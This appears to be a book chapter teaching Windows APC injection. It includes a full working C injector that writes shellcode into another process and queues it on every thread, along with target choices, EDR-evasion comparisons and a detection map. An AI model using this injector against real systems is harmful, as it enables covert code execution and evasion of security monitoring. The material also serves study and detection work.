Chapter 30

APC Injection

Every technique in Chapters 24–29 used CreateRemoteThread or NtCreateThreadEx to run shellcode in the target — a brand new thread, owned by the injector, starting at an injected address. That new thread is visible in any thread list and its start address is obviously wrong. APC (Asynchronous Procedure Call) injection uses a completely different execution model: it queues a function call onto an existing thread in the target process. When that thread enters an alertable wait state (SleepEx, WaitForSingleObjectEx, etc.), Windows drains the thread's APC queue and executes each queued function. No new thread is created. The shellcode runs on a thread that already belongs to the target process — with that thread's stack, identity, and call history. This chapter builds the complete APC injection chain and explains the alertable state requirement.

How Windows APC Works

APC queue and alertable wait — the mechanism
  Every Windows thread has its own APC queue:
  ─────────────────────────────────────────────────────────────────────────
  Thread object (in kernel):
    ThreadId: 4892
    State: WAITING (in SleepEx or WaitForSingleObjectEx with bAlertable=TRUE)
    APC Queue: [ function1, arg1 ] → [ function2, arg2 ] → [ empty ]
                ↑ each entry is one queued APC
  
  Normal thread execution:                APC-triggered execution:
  ─────────────────────────               ────────────────────────────────
  Thread runs its normal code             Thread is in alertable wait
  ...                                     → Windows checks APC queue
  ...                                     → Queue not empty!
  ...                                     → Thread is interrupted from wait
                                          → Executes APC function1(arg1)
                                          → Executes APC function2(arg2)
                                          → Queue empty → wait resumes
  
  QueueUserAPC from the injector:
  ─────────────────────────────────────────────────────────────────────────
  QueueUserAPC(
    shellcode_addr,   ← function to call (our shellcode's entry point)
    hThread,          ← which thread to queue it on (in target process)
    NULL              ← argument passed to shellcode_addr
  )
  
  This puts [shellcode_addr, NULL] onto the APC queue of hThread.
  The shellcode doesn't run IMMEDIATELY — it only runs when the thread
  next enters an alertable wait.
  
  Alertable wait functions:
    SleepEx(ms, bAlertable=TRUE)
    WaitForSingleObjectEx(handle, timeout, bAlertable=TRUE)
    WaitForMultipleObjectsEx(...)
    SignalObjectAndWait(...)
    MsgWaitForMultipleObjectsEx(...)
    ReadFileEx, WriteFileEx  (I/O completion — also alertable)
  
  Non-alertable waits (APC does NOT drain):
    Sleep(ms)              ← bAlertable=FALSE — APC stays queued
    WaitForSingleObject()  ← not alertable
    GetMessage()           ← not alertable (use MsgWaitForMultipleObjectsEx)

Finding Alertable Threads

/* apc_inject.c — APC injection into alertable threads
   
   Strategy:
   1. Find a target process with one or more alertable threads
   2. Write shellcode to the target process (VirtualAllocEx + WPM)
   3. QueueUserAPC on each thread in the target (or a selected set)
   4. One of the threads will be in or enter an alertable wait → shellcode runs
   
   Build:
     x86_64-w64-mingw32-gcc -O2 -o apc_inject.exe apc_inject.c
*/

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

static unsigned char sc[] = { 0x90, 0x90, 0x90, 0xC3 };
static SIZE_T sc_len = sizeof(sc);

/*
 * Which processes reliably have alertable threads?
 * ─────────────────────────────────────────────────────────────────────────
 * explorer.exe — has multiple STA (Single-Threaded Apartment) threads that
 *   use MsgWaitForMultipleObjectsEx with bAlertable, waiting for GUI messages
 *
 * svchost.exe (wuauserv, etc.) — Windows services that use alertable waits
 *   for I/O completion (ReadFileEx, WaitForMultipleObjectsEx)
 *
 * spoolsv.exe — print spooler uses alertable waits extensively
 *
 * Any process with an I/O completion port can have alertable threads
 *
 * General approach: queue APC on ALL threads in the process.
 * At least one of them is likely to become alertable eventually.
 * The shellcode runs once (on the first thread to become alertable).
 * If multiple threads become alertable, shellcode runs multiple times —
 * idempotent shellcode (C2 beacon that checks if already running) is safer.
 */
static BOOL apc_inject(DWORD pid) {
    /* Step 1: Open the target process */
    HANDLE hProc = OpenProcess(
        PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD,
        FALSE, pid);
    if (!hProc) {
        printf("[-] OpenProcess(%lu): %lu\n", pid, GetLastError());
        return FALSE;
    }

    /* Step 2: Allocate RW, write shellcode, protect RX */
    LPVOID remote_sc = VirtualAllocEx(hProc, NULL, sc_len,
                                       MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    if (!remote_sc) {
        printf("[-] VirtualAllocEx: %lu\n", GetLastError());
        CloseHandle(hProc);
        return FALSE;
    }
    WriteProcessMemory(hProc, remote_sc, sc, sc_len, NULL);
    DWORD old;
    VirtualProtectEx(hProc, remote_sc, sc_len, PAGE_EXECUTE_READ, &old);
    printf("[+] Shellcode at %p in target\n", remote_sc);

    /* Step 3: Enumerate all threads of the target process
       We use CreateToolhelp32Snapshot with TH32CS_SNAPTHREAD to list
       all threads system-wide, then filter by ProcessID.
    */
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (snap == INVALID_HANDLE_VALUE) {
        CloseHandle(hProc);
        return FALSE;
    }

    THREADENTRY32 te = { .dwSize = sizeof(te) };
    int apc_count = 0;

    if (Thread32First(snap, &te)) {
        do {
            if (te.th32OwnerProcessID != pid) continue;

            /* Open each thread with THREAD_SET_CONTEXT (required for QueueUserAPC) */
            HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, te.th32ThreadID);
            if (!hThread) continue;

            /* Queue the APC on this thread */
            if (QueueUserAPC((PAPCFUNC)remote_sc, hThread, (ULONG_PTR)NULL)) {
                printf("[+] APC queued on thread %lu\n", te.th32ThreadID);
                apc_count++;
            } else {
                printf("[-] QueueUserAPC on thread %lu: %lu\n",
                       te.th32ThreadID, GetLastError());
            }
            CloseHandle(hThread);

        } while (Thread32Next(snap, &te));
    }
    CloseHandle(snap);

    if (apc_count == 0) {
        printf("[-] Failed to queue APC on any thread\n");
        VirtualFreeEx(hProc, remote_sc, 0, MEM_RELEASE);
        CloseHandle(hProc);
        return FALSE;
    }

    printf("[+] APCs queued on %d threads\n", apc_count);
    printf("[*] Shellcode will execute when a thread enters alertable wait\n");
    printf("[*] If nothing happens in 10s, target has no alertable threads\n");

    /*
     * We can't wait for APC execution with WaitForSingleObject here
     * (we don't have a thread handle that represents "APC completed").
     * Just wait a bit and assume one of the threads will become alertable.
     */
    Sleep(3000);
    CloseHandle(hProc);
    return TRUE;
}

The Reliability Problem

APC injection limitation:
─────────────────────────────────────────────────────────────────────────
APC injection ONLY works if the target thread eventually enters an alertable
wait state. If no thread in the target ever calls SleepEx, WaitForSingleObjectEx
with bAlertable=TRUE, or similar, the APC sits in the queue indefinitely and
never executes. The process continues running normally, the shellcode never fires.

This is why "Early Bird APC" (Chapter 31) is preferred over standard APC injection:
instead of targeting an already-running process (where thread state is unknown),
Early Bird creates a NEW process in SUSPENDED state, queues the APC on the main
thread BEFORE the thread resumes, and then resumes it. The new thread's first
action is to initialize the process — which involves SleepEx and alertable waits
in the CRT and ntdll initialization code. So the APC fires reliably during startup.

Standard APC injection works reliably for:
  ✓ explorer.exe (GUI pump thread is almost always in alertable wait)
  ✓ Services using I/O completion ports (spoolsv.exe, services that do async I/O)
  ✓ Any process calling SleepEx extensively

Standard APC injection is unreliable for:
  ✗ Short-lived processes (may never enter alertable state before exiting)
  ✗ CPU-bound processes (never sleep, never wait)
  ✗ Processes with only non-alertable waits (WaitForSingleObject without Ex suffix)

Detection comparison vs CreateRemoteThread:
─────────────────────────────────────────────────────────────────────────
CreateRemoteThread    → Sysmon EventID 8 (CreateRemoteThread) — highly monitored
QueueUserAPC          → Sysmon EventID 8 NOT generated (it's not a thread creation)
                        No dedicated Sysmon event for APC queuing
                        Detectable by: kernel callbacks (PsSetCreateThreadNotifyRoutine
                        doesn't apply), ETW-TI has thread-APC-related events
  
APC injection is HARDER to detect than CreateRemoteThread at the Sysmon/basic EDR level.
However, modern EDRs with kernel visibility (using ETW-TI or kernel callbacks) can
detect NtQueueApcThread calls to other processes.

Detection Map

APC injection detection signals
  Signal                                    │ Detection layer      │ Fidelity
  ──────────────────────────────────────────┼──────────────────────┼──────────────
  VirtualAllocEx + WriteProcessMemory       │ Sysmon EventID 10    │ HIGH
  (shared with all injection techniques)    │ EDR API hooks        │
                                            │                      │
  No Sysmon EventID 8 (CreateRemoteThread)  │ (absence of signal)  │ N/A
  QueueUserAPC doesn't create thread event  │                      │
                                            │                      │
  NtQueueApcThread syscall                  │ ETW-TI               │ HIGH
  (kernel-level APC queuing)                │ (Defender / CrowdStrike) │
                                            │                      │
  Thread executing shellcode without        │ EDR memory scan      │ MEDIUM
  CreateRemoteThread history                │ (anomalous execution)│
                                            │                      │
  Thread APC callback at non-module address │ ETW stack walk       │ HIGH
  (shellcode address doesn't match any DLL) │                      │
  ──────────────────────────────────────────┴──────────────────────┴──────────────

  APC injection was more stealthy ~2018–2020 when most detection focused
  on CreateRemoteThread. Modern EDRs with ETW-TI coverage have partially
  closed this gap. Early Bird APC (Ch31) is generally preferred because
  it's more reliable AND fires before EDR's injection hooks are active.

Questions & Answers

What's the difference between user-mode APCs and kernel-mode APCs?

Windows has two types of APCs. User-mode APCs (what QueueUserAPC creates) are queued in the thread's user-mode APC queue and only execute when the thread is in an alertable wait state (the bAlertable=TRUE parameter to wait functions). The thread must cooperate — it explicitly opts in to draining APCs by using alertable waits. Kernel-mode APCs are queued in the thread's kernel-mode APC queue and execute when the thread returns from kernel mode to user mode — they fire at a much more predictable point and don't require the thread to be in an alertable state. However, kernel-mode APCs require kernel-level access to create (you can't queue one from user space — they're created by device drivers). The injection technique in this chapter uses user-mode APCs via QueueUserAPC, which is a standard Win32 API. Some advanced injection techniques (NtQueueApcThreadEx with QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC, introduced in Windows 10 19H1) allow queueing "special" user-mode APCs that fire without requiring the alertable state — but this API isn't well-documented and behavior varies.

How do you determine if a process has alertable threads without crashing it?

You can't directly query whether a thread is currently in an alertable wait state from outside the process — that information isn't exposed by Win32 APIs in a reliable way. The pragmatic approach is to enumerate the thread's wait reason using NtQuerySystemInformation (SystemProcessInformation), which returns thread state and wait reason. A thread in a UserRequest wait with DelayExecution (SleepEx) or WrAlertable is in an alertable state. However, the thread state changes constantly — by the time you read it and act, the thread may have exited the alertable state. A better approach: queue the APC on all threads in the process. APCs are cheap to queue (no execution until alertable). If any thread enters an alertable state in the next few seconds, the APC fires. This is the "spray and pray" approach to APC injection — queue on all threads, the first alertable thread executes the payload. It works well for explorer.exe which has many threads spending significant time in GUI message waits.

What is QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC and why is it significant?

Special user-mode APCs (introduced in Windows 10 Build 18362 / 19H1) fire without requiring the target thread to be in an alertable state. They're queued via NtQueueApcThreadEx with the QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC flag. Instead of waiting for a cooperative alertable wait, special APCs interrupt the thread when it's in a kernel mode boundary transition — similar to how kernel APCs work. The thread doesn't need to call SleepEx or any alertable function. This makes APC injection 100% reliable without the "wait for alertable state" problem that affects standard APC injection. However, the API is undocumented and uses different kernel paths, so EDR detection is still evolving. The function signature is: NtQueueApcThreadEx(hThread, QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC, shellcode_addr, arg, NULL, NULL). As of 2023, this is one of the more effective user-mode injection techniques because it combines reliability with lower detection coverage than CreateRemoteThread.